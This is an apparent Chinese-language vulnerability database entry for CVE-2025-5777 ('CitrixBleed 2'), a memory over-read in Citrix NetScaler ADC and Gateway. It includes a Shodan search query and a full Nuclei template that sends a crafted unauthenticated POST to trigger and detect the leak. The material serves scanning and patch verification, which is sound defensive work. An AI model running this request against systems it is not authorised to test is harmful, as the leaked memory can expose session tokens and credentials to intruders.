Citrix NetScaler Memory Disclosure - CitrixBleed 2

漏洞信息

漏洞名称： Citrix NetScaler Memory Disclosure - CitrixBleed 2

漏洞编号：

  • CVE： CVE-2025-5777

漏洞类型： 信息泄露

漏洞等级： 严重

漏洞描述： Citrix NetScaler ADC和NetScaler Gateway是广泛使用的企业级网络设备，提供负载均衡、应用交付控制器（ADC）和VPN网关等功能。这些设备通常部署在企业网络边缘，用于优化和保护应用程序交付。由于其广泛的应用，这些设备的安全问题可能对大量企业构成威胁。该漏洞被标识为CVE-2025-5777，属于信息泄露类型，由于NetScaler管理界面的输入验证不足导致内存过度读取。这种漏洞的技术根源在于处理用户输入时未能正确验证数据边界，攻击者可以利用此漏洞读取敏感内存信息，可能导致包括凭证、会话令牌等敏感数据的泄露。由于漏洞的严重性被标记为’严重’，且无需认证即可利用，攻击者可以远程触发此漏洞，对受影响系统构成重大威胁。此漏洞的利用可能导致企业网络被入侵，数据泄露，甚至服务中断，因此建议所有使用受影响版本的用户尽快应用补丁或采取其他缓解措施。

产品厂商： Citrix

产品名称： NetScaler ADC and NetScaler Gateway

搜索语法： title:”NetScaler Gateway”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/625e95180bcb0c1d6196571534dbfcced9a6e2a7/vulnerabilities%2Fibm%2Fcve-2025-5777.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

id: CVE-2025-5777

info:
  name: Citrix NetScaler Memory Disclosure - CitrixBleed 2
  author: watchtowr,DhiyaneshDk
  severity: critical
  description: |
    Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway
  reference:
    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420
    - https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
  classification:
    epss-score: 0.00042
    epss-percentile: 0.12361
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"NetScaler Gateway"
  tags: cve,cve2025,netscaler,citrix,exposure

http:
  - raw:
      - |+
        POST /p/u/doAuthentication.do HTTP/1.0
        Host: {{Hostname}}
        User-Agent: watchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowr
        login
    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "No active policy during authentication"
        negative: true

      - type: word
        part: body
        words:
          - "<InitialValue></InitialValue>"

      - type: word
        part: content_type
        words:
          - "application/vnd.citrix.authenticateresponse"

      - type: status
        status:
          - 200